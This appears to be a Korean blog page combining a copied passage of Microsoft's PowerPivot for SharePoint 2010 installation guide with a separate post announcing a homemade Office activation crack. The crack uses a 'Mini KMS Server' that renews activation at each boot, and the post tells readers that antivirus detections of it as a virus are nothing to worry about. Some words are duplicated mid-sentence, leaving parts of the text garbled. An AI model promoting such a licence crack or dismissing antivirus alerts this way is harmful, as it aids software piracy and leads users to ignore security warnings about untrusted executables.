  11. 같은 페이지의 PowerPivot for SharePoint 추가 위치:에서 새 서버를 선택합니다.
    설치 마법사의 기능 역할 페이지
  12. 다음을 클릭합니다.
  13. 기능 선택에서 설치할 기능의 읽기 전용 목록이 확인용으로 표시됩니다. 해당 역할에 대해 미리 선택되어 있는 항목을 추가하거나 제거할 수는 없습니다. 다음을 클릭합니다.
  14. 설치 규칙에서 다음을 클릭합니다.
  15. 인스턴스 구성에서 확인용으로 'PowerPivot'이라는 읽기 전용 인스턴스 이름이 표시됩니다. 이 인스턴스 이름은 필수 항목이며 수정할 수 없습니다. 그러나 고유한 인스턴스 ID를 입력해 인스턴스를 설명하는 디렉터리 이름과 레지스트리 키를 지정할 수는 있습니다. 다음을 클릭합니다.
  16. 새 SharePoint 팜 구성에서 서버 팜 계정에 대해 도메인 사용자 계정을 입력합니다. 이 계정은 중앙 관리 서비스를 실행하고 구성 데이터베이스에 액세스하는 데 사용됩니다. 또한 PowerPivot 서비스 응용 프로그램 풀을 비롯한 필수 서비스를 제공하는 데도 사용됩니다. 네트워크 서비스, 로컬 시스템 등의 기본 제공 계정을 지정하지 마십시오. 기본 제공 계정에 대해서는 설치 프로그램이 설치를 차단합니다.
  17. 팜에 새 응용 프로그램 서버 또는 웹 프런트 엔드 서버를 추가할 때 다른 팜 관리자가 입력할 전달 구를 지정합니다. 강력한 암호를 만들 때와 같은 규칙을 따르십시오.
  18. 중앙 관리 웹 응용 프로그램에 연결하는 데 사용되는 포트 번호를 지정하거나 임의로 생성되는 제공된 번호를 사용합니다. 설치 프로그램에서 포트 번호를 옵션으로 제공하기 전에 해당 번호가 사용 가능한지를 확인합니다.
  19. 다음을 클릭합니다.
  20. 디스크 공간 요구 사항에서 기능을 설치하기에 디스크 용량이 충분한지 확인하고 다음을 클릭합니다.
  21. 서버 구성에서 SQL Server Agent, SQL Server 데이터베이스 엔진 및 SQL Server Analysis Services의 계정 정보를 입력합니다.
    SQL Server 데이터베이스 엔진 및 SQL Server Agent에 대해서는 도메인 사용자 계정으로 실행하거나 NT AUTHORITY\SYSTEM과 같은 기본 제공 계정으로 실행하도록 서비스를 구성할 수 있습니다.
    SQL Server Analysis Services에 대해서는 도메인 사용자 계정을 지정해야 합니다. 기본 제공 계정을 지정하지 마십시오. 도메인 계정은 SharePoint 중앙 관리에서 Analysis Services 서비스 계정을 관리 계정으로 관리하는 데 필요합니다.
    서비스를 제공하기 위해 사용자의 도메인 사용자 계정을 사용하지 마십시오. 그렇게 하면 네트워크에서 리소스에 대해 갖는 권한과 동일한 권한이 서버에 부여됩니다. 악의적인 사용자가 서버를 침해한 경우 해당 사용자가 사용자의 도메인 자격 증명으로 로그인한 후 사용자와 동일한 데이터 및 응용 프로그램을 다운로드하거나 사용할 수 있습니다.
    권장되는 계정에 대한 자세한 내용은 SharePoint 팜에서 PowerPivot 배포 계획을 참조하십시오.
  22. 다음을 클릭합니다.
  23. 데이터베이스 엔진 구성에서 현재 사용자 추가를 클릭하여 사용자 계정에 데이터베이스 엔진 인스턴스에 대한 관리자 권한을 부여합니다. 설치 프로그램에서는 이러한 권한을 사용해 팜에 대한 구성 데이터베이스를 만듭니다. 다음을 클릭합니다.
  24. Analysis Services 구성에서 현재 사용자 추가를 클릭합니다.
  25. 같은 페이지에서 Analysis Services 인스턴스를 관리할 모든 사용자의 Windows 사용자 계정을 추가합니다. 예를 들어 SQL Server Management Studio에서 Analysis Services 서비스 인스턴스에 연결하여 데이터베이스 연결 문제를 해결하거나 버전 정보를 가져오려는 모든 사용자에게는 서버에 대한 시스템 관리자 권한이 있어야 합니다. 현재 서버 문제를 해결하거나 서버를 관리해야 하는 사용자의 계정을 추가합니다.
  26. 다음을 클릭합니다.
  27. 나머지 페이지에서 각각 다음을 클릭하여 설치 준비 페이지까지 이동합니다.
  28. 설치를 클릭합니다.

설치를 마치면 설치를 수행한 사용자는 SharePoint 팜의 팜 관리자, 데이터베이스 엔진 및 Analysis Services의 시스템 관리자 및 기본 SharePoint 웹 응용 프로그램의 사이트 모음 관리자가 됩니다. 보안을 개선하기 위해 관리 태스크를 다른 사용자에게 위임할 수 있습니다. 특히 팜 관리자 계정은 로컬 관리자 사용자 그룹의 멤버가 아니어야 합니다. 배포 관리자를 변경하는 방법이나 다른 사람에게 관리 권한을 위임하는 방법은 SharePoint 2010 TechCenter 사이트의 SharePoint 제품 설명서를 참조하십시오.

3단계: 설치 확인

SharePoint 팜에 설치하는 PowerPivot for SharePoint 인스턴스는 SharePoint 중앙 관리를 통해 관리됩니다. 최소한 중앙 관리와 SharePoint 사이트에서 페이지를 검사하여 PowerPivot 서버 구성 요소 및 기능이 사용 가능한지를 확인할 수는 있습니다. 그러나 설치를 전체적으로 확인하려면 SharePoint에 게시하여 라이브러리에서 액세스할 수 있는 PowerPivot 통합 문서가 있어야 합니다. 테스트를 위해 이미 PowerPivot 데이터가 포함된 예제 통합 문서를 게시하여 SharePoint 통합이 올바르게 구성되어 있는지 확인하는 데 사용할 수 있습니다.

중앙 관리와 PowerPivot의 통합을 확인하려면 다음을 수행하십시오.

  1. 시작 메뉴에서 모든 프로그램을 클릭하고 Microsoft SharePoint 2010 제품을 연 다음 SharePoint 2010 중앙 관리를 클릭합니다.
  2. 사용자 이름과 암호를 입력한 다음 확인을 클릭합니다.
    원하는 경우 중앙 관리를 열 때마다 사용자 이름 및 암호를 입력하지 않아도 되도록 브라우저 설정을 수정할 수 있습니다. 중앙 관리를 신뢰할 수 있는 사이트로 추가하려면 다음을 수행하십시오.
    1. Internet Explorer의 도구 메뉴에서 인터넷 옵션을 클릭합니다.
    2. 보안 탭의 보안 설정을 보거나 변경할 영역을 선택하십시오. 섹션에서 신뢰할 수 있는 사이트를 클릭하고 사이트를 클릭합니다.
    3. 이 영역에 있는 모든 사이트에 대해 서버 확인(https:) 필요 확인란 선택을 취소합니다.
    4. 영역에 웹 사이트 추가에 사이트 URL을 입력하고 추가를 클릭합니다.
    5. 닫기를 클릭한 다음 확인을 클릭합니다.
      Ee210708.note(ko-kr,SQL.105).gif참고:
      SharePoint 설치 설명서에는 프록시 서버 오류를 해결하고 업데이트를 다운로드 및 설치할 수 있도록 Internet Explorer의 강화된 보안 구성을 해제하기 위한 추가 지침이 포함되어 있습니다. 자세한 내용은 Microsoft 웹 사이트의 SQL Server와 함께 단일 서버 배포(Deploy a single server with SQL Server)에서 추가 태스크 수행(Perform additional tasks) 섹션을 참조하십시오.
  3. 중앙 관리의 시스템 설정에서 팜 기능 관리를 클릭합니다.
  4. PowerPivot 통합 기능활성인지 확인합니다.
  5. 중앙 관리의 시스템 설정에서 서버의 서비스 관리를 클릭합니다.
  6. SQL Server Analysis ServicesSQL Server PowerPivot 시스템 서비스가 시작되었는지 확인합니다.
  7. 중앙 관리의 응용 프로그램 관리에서 서비스 응용 프로그램 관리를 클릭합니다.
  8. 기본 PowerPivot 서비스 응용 프로그램을 클릭하여 이 응용 프로그램에 대한 PowerPivot 관리 대시보드를 엽니다. 처음 사용하는 경우 대시보드는 로드하는 데 몇 분 정도 걸립니다.
    또는 기본 PowerPivot 서비스 응용 프로그램 옆의 빈 공간을 클릭하여 행을 선택하고 속성을 클릭하여 이 서버 응용 프로그램에 대한 구성 설정을 확인합니다. 구성 설정과 응용 프로그램 속성을 모두 수정하여 서버 구성을 변경할 수 있습니다. 이러한 설정에 대한 자세한 내용은 방법: PowerPivot 서비스 응용 프로그램 만들기 및 구성을 참조하십시오.

SharePoint 사이트와 PowerPivot의 통합을 확인하려면 다음을 수행하십시오.

  1. 앞서 만든 웹 응용 프로그램을 브라우저에서 엽니다. 기본값을 사용한 경우 URL 주소에 http://<your computer name>을 지정할 수 있습니다.
  2. PowerPivot 데이터 액세스 및 처리 기능을 응용 프로그램에서 사용할 수 있는지 확인합니다. 이렇게 하려면 PowerPivot 제공 라이브러리 템플릿이 있는지 확인하면 됩니다.
    1. 사이트 작업에서 기타 옵션...을 클릭합니다.
    2. 라이브러리에 데이터 피드 라이브러리PowerPivot 갤러리가 모두 표시되어야 합니다. 이러한 라이브러리 템플릿은 PowerPivot 기능에서 제공하는 것이며 기능이 올바르게 통합되는 경우 라이브러리 목록에 표시됩니다.

서버에서 PowerPivot 데이터 액세스를 확인하려면 다음을 수행하십시오.

  1. PowerPivot 갤러리 또는 SharePoint 라이브러리에 PowerPivot 통합 문서를 업로드합니다. 예제 파일에 액세스하는 방법은 Excel에서 PowerPivot 통합 문서 만들기를 참조하십시오.
  2. 문서를 클릭하여 라이브러리에서 엽니다.
  3. 슬라이서를 클릭하거나 데이터를 필터링하여 PowerPivot 쿼리를 시작합니다. 서버에서 PowerPivot 데이터가 백그라운드로 로드되고 결과가 반환됩니다. 다음 단계에서는 서버에 연결하여 데이터가 로드 및 캐시되는지 확인합니다.
  4. 시작 메뉴의 Microsoft SQL Server 2008 R2 프로그램 그룹에서 SQL Server Management Studio를 시작합니다. 이 도구가 서버에 설치되어 있지 않으면 마지막 단계로 건너뛰어 캐시된 파일이 있는지 확인하면 됩니다.
  5. 서버 유형에서 Analysis Services를 선택합니다.
  6. 서버 이름에 <server-name>\powerpivot을 입력합니다. 여기서 <server-name>은 PowerPivot for SharePoint를 설치한 컴퓨터의 이름입니다.
  7. 연결을 클릭합니다. Analysis Services 서버를 사용할 수 있는지 확인합니다.
  8. 개체 탐색기에서 데이터베이스를 클릭하여 로드된 PowerPivot 데이터 파일 목록을 확인할 수 있습니다.
  9. 컴퓨터 파일 시스템의 다음 폴더에서 파일이 디스크로 캐시되었는지 확인합니다. 배포가 작동하는지 확인하려면 캐시된 파일이 있는지도 확인해야 합니다. 파일 캐시는 \Program Files\Microsoft SQL Server\MSAS10_50.POWERPIVOT\OLAP\Backup 폴더에서 확인할 수 있습니다.

설치 문제 해결

예상한 페이지 및 기능 대신 오류가 발생할 경우 다음을 수행합니다.

  • 알려진 설치 문제에 대한 해결 방법은 SharePoint 2010 및 SQL Server 2008 R2에 대한 릴리스 정보를 참조하십시오. 릴리스 정보는 소프트웨어를 다운로드한 Microsoft 사이트나 설치 미디어에 제공됩니다.
  • Microsoft 웹 사이트에서 SharePoint 배포 문서를 참조하십시오. 이 문서에서는 Internet Explorer에서 설정을 구성하는 과정을 단계별로 안내합니다. 자세한 내용은 SQL Server에서 단일 서버 배포(Deploy a single server with SQL Server)를 참조하십시오.
설치 후 단계

서버 설치를 마친 후 다음과 같은 몇 가지 설치 후 태스크를 수행해야 합니다.

  • SharePoint 목록에서 데이터 피드 내보내기를 사용하려면 ADO.NET Data Services 3.5 SP1을 설치합니다.
  • Office 문서를 외부 데이터 원본으로 사용하는 서버측 데이터 새로 고침을 사용하도록 설정하려면 Office 데이터 연결 구성 요소를 설치합니다.
  • 개인 및 그룹에 SharePoint 사용 권한을 부여합니다. 사이트 및 콘텐츠에 액세스하려면 이 태스크를 수행해야 합니다.
  • 다른 계정에서 실행하려면 PowerPivot 서비스 응용 프로그램 풀 ID를 변경합니다. 안전한 배포를 위해 서비스와 응용 프로그램에 대해 다른 ID를 지정하는 것이 좋습니다.
  • Excel 서비스에 신뢰할 수 있는 사이트를 추가로 만들어 PowerPivot 데이터 액세스에 가장 적합한 권한 및 구성 설정을 다양하게 구성할 수 있습니다.
  • 온라인 도움말을 활성화합니다.
  • 워크스테이션 컴퓨터에 PowerPivot 제작 도구를 다운로드하여 PowerPivot 통합 문서를 만든 다음 SharePoint에 게시합니다. 도구를 설치하고 PowerPivot 통합 문서를 게시하여 설치한 서버 구성 요소의 상호 운용성을 확인하면 설치 과정이 완료됩니다.

ADO.NET Data Services 3.5 SP1 설치

SharePoint 목록의 데이터 피드 내보내기를 수행하려면 ADO.NET Data Services가 필요합니다. 이 구성 요소는 SharePoint 2010의 PrerequisiteInstaller 프로그램에 포함되어 있지 않으므로 수동으로 설치해야 합니다.

  1. SharePoint 2010의 하드웨어 및 소프트웨어 요구 사항 설명서 하드웨어 및 소프트웨어 요구 사항 확인(Determine Hardware and Software Requirements)(SharePoint 2010)으로 이동합니다.
  2. 소프트웨어 필수 구성 요소 설치에서 현재 사용 중인 운영 체제(Windows Server 2008 SP2 또는 Windows Server 2008 R2)에 맞는 ADO.NET Data Services 3.5의 링크를 찾습니다.
  3. 링크를 클릭하여 서비스를 설치하는 설치 프로그램을 실행합니다.

Office 데이터 연결 구성 요소 설치

SharePoint 사이트에 게시하는 PowerPivot 통합 문서에서 외부 데이터 원본으로 사용되는 텍스트 파일, Excel 파일 또는 Access 데이터베이스의 데이터 새로 고침 작업을 지원하려면 ACE 공급자라고도 하는 Office 데이터 연결 구성 요소가 필요합니다. 이러한 데이터 원본 형식에 대해 데이터 새로 고침을 지원하려면 팜의 각 PowerPivot 서버에 이 구성 요소를 설치해야 합니다.

  1. 2010 Office System 드라이버: 데이터 연결 구성 요소 다운로드 페이지로 이동합니다.
  2. 언어를 선택합니다.
  3. 64비트 버전을 다운로드하도록 선택하고 다운로드를 클릭합니다.

사용 권한 부여

통합 문서를 게시하거나 보려는 사용자에게는 SharePoint 사용 권한이 필요합니다. 게시된 통합 문서를 보려는 사용자에게는 보기 권한을 부여하고, 통합 문서를 게시 또는 관리하는 사용자에게는 참가 권한을 부여하십시오. 사용 권한을 부여하려면 사이트 모음 관리자여야 합니다.

  1. 사이트에서 사이트 작업을 클릭합니다.
  2. 사이트 사용 권한을 클릭합니다.
  3. 사이트 모음 멤버 그룹의 확인란을 선택합니다.
  4. 리본에서 사용 권한 부여를 클릭합니다.
  5. 문서 추가 또는 제거 권한이 있어야 하는 Windows 도메인 사용자 또는 그룹 계정을 입력합니다.
    응용 프로그램이 클레임 인증용으로 구성된 경우가 아니면 전자 메일 주소 또는 메일 그룹을 사용하지 마십시오.
  6. 확인을 클릭합니다.
  7. 사이트 모음 방문자 그룹의 확인란을 선택합니다.
  8. 리본에서 사용 권한 부여를 클릭합니다.
  9. 문서 보기 권한이 있어야 하는 Windows 도메인 사용자 또는 그룹 계정을 입력합니다. 앞서 수행한 단계와 마찬가지로 응용 프로그램이 기본 인증용으로 구성된 경우에는 전자 메일 주소 또는 메일 그룹을 사용하지 마십시오.
  10. 확인을 클릭합니다.

SharePoint에서 응용 프로그램 풀 및 서비스 ID 변경

SQL Server 설치 프로그램은 단일 계정에서 실행할 팜 기능, 응용 프로그램 및 서비스를 제공합니다. 따라서 설치가 간편해지지만 배포에서 SharePoint 팜의 보안 요구 사항이 충족되지는 않습니다. 보다 강력한 배포를 작성하려면 설치가 완료된 후 응용 프로그램 풀과 서비스 ID가 각각 다른 계정에서 실행되도록 변경합니다.

  1. 중앙 관리의 응용 프로그램 관리에서 서비스 응용 프로그램 관리를 클릭합니다.
  2. 기본 PowerPivot 서비스 응용 프로그램을 선택하되 클릭하지는 않습니다. 링크 텍스트 옆의 빈 공간을 클릭하여 선택할 수 있습니다.
  3. 서비스 응용 프로그램 리본에서 속성을 클릭합니다.
  4. 새 응용 프로그램 풀 만들기를 선택합니다.
  5. 응용 프로그램 풀에 대한 이름(예: Service Application Pool - PowerPivotService)을 입력합니다.
  6. 구성된 기존 계정을 선택하거나 새 관리 계정을 등록하여 응용 프로그램 풀의 ID를 설정합니다.
  7. 확인을 클릭합니다.

PowerPivot 서버 구성 요소의 응용 프로그램 풀 및 서비스 ID를 변경하는 방법은 방법: 서비스 계정 및 암호 변경(PowerPivot for SharePoint)을 참조하십시오.

Excel 서비스에서 신뢰할 수 있는 사이트 추가로 만들기

신뢰할 수 있는 사이트를 Excel 서비스에 추가하여 Excel 통합 문서 및 PowerPivot 데이터를 제공하는 사이트에 대한 권한 및 구성 설정을 다양하게 구성할 수 있습니다. 자세한 내용은 방법: PowerPivot 사이트에 대한 신뢰할 수 있는 위치 만들기를 참조하십시오.

도움말 활성화

PowerPivot for SharePoint에는 SharePoint 사이트의 페이지에서 액세스할 수 있는 온라인 도움말이 포함되어 있습니다. 온라인 도움말은 PowerPivot 응용 프로그램 페이지에 대한 정보와 웹의 업데이트된 콘텐츠 링크를 제공합니다. 온라인 도움말은 설치되기는 하지만 활성화되지는 않습니다. 사이트 모음의 도움말을 활성화하려면 다음 단계를 수행합니다.

  1. 사이트 작업에서 사이트 설정을 클릭합니다.
  2. 사이트 모음 관리에서 목록 아래쪽으로 스크롤합니다.
  3. 도움말 설정을 클릭합니다.
  4. SQL PowerPivot 추가 기능 도움말의 확인란을 클릭합니다.
  5. 확인을 클릭합니다.
  6. 도움말이 활성화되었는지 확인하려면 SharePoint 도움말 아이콘을 클릭합니다. 활성화된 경우 PowerPivot 도움말이 목록에 표시됩니다.
  7. PowerPivot 데이터 액세스를 지원하는 다른 사이트 모음에 대해서도 반복합니다.

PowerPivot for Excel 추가 ���능 설치 및 PowerPivot 통합 문서 작성

팜에 서버 구성 요소를 설치한 후에는 포함된 PowerPivot 데이터를 사용하는 첫 번째 Excel 2010 통합 문서를 만들어 웹 응용 프로그램에서 SharePoint 라이브러리에 게시할 수 있습니다. 또는 샘플 PowerPivot 통합 문서를 업로드하거나 게시하여 SharePoint에서 PowerPivot 데이터 액세스를 확인할 수 있습니다.

PowerPivot 통합 문서를 만들려면 Excel 2010과 PowerPivot for Excel 추가 기능이 모두 필요합니다. PowerPivot for Excel을 설치하고 PowerPivot 통합 문서를 만드는 방법은 방법: PowerPivot for Excel 설치Excel에서 PowerPivot 통합 문서 만들기를 참조하십시오.

SharePoint 2010과 PowerPivot for SharePoint가 이미 있는 컴퓨터에 PowerPivot for Excel을 설치하려면 다른 지침을 사용하십시오. 자세한 내용은 방법: 명령 프롬프트에서 PowerPivot for SharePoint 설치를 참조하십시오.

서버 또는 응용 프로그램 추가

이후에 데이터 저장소와 처리 능력이 추가로 필요하다고 판단되는 경우 팜에 두 번째 PowerPivot for SharePoint 서버 인스턴스를 추가할 수 있습니다. 자세한 내용은 방법: SharePoint 팜에 PowerPivot 서버 추가을 참조하십시오.

2010/06/19 05:31 2010/06/19 05:31

카조님 툴 나온뒤로 카조님거 쓰다가... 삽질하느냐고 바이오스 날짜 훅훅 변경하다보니변경하다보니

오피스 인증 풀려가지고 난리가 나더군요.

그래서 한번 만들어봤습니다.

이번 버전 변경점

- 카조님 V7, The One 과의 호환성 문제 해결

- Mini KmsServer 를 인증이 갱신된후 종료합니다.

- Office 온라인 정품인증 통과합니다.

- 오피스가오피스가 설치된 경로가 달라지면 오류가 나는 문제 수정하였습니다.

-- 0xC004F074 오류 수정하였습니다.

뭔가 더 있었던것 같긴 한데한데 기억나는건 이정도군요

The One 와의 차이점은 부팅할때부팅할때 마다 인증을 갱신하여 반 영구적으로 사용가능하다는 것입니다.

수동으로수동으로 6개월 마다 한번씩 인증 받을 필요가 없죠.

구버전 사용자분들께서는 이버전으로 제거 하시고 인증 하시면 됩니다.

PS. MSE 를 포함한 일부 백신에서는 Mini KMS ServerServer 를 바이러스로 진단합니다.

딱히 위험한건 아니니 걱정 안하셔도안하셔도 됩니다. 크랙류 잡는거와 같은거겠죠.


 

사용자 삽입 이미지

사용자 삽입 이미지

출처 : http://kok-chiwoo.textcube.com/713

2010/06/15 04:43 2010/06/15 04:43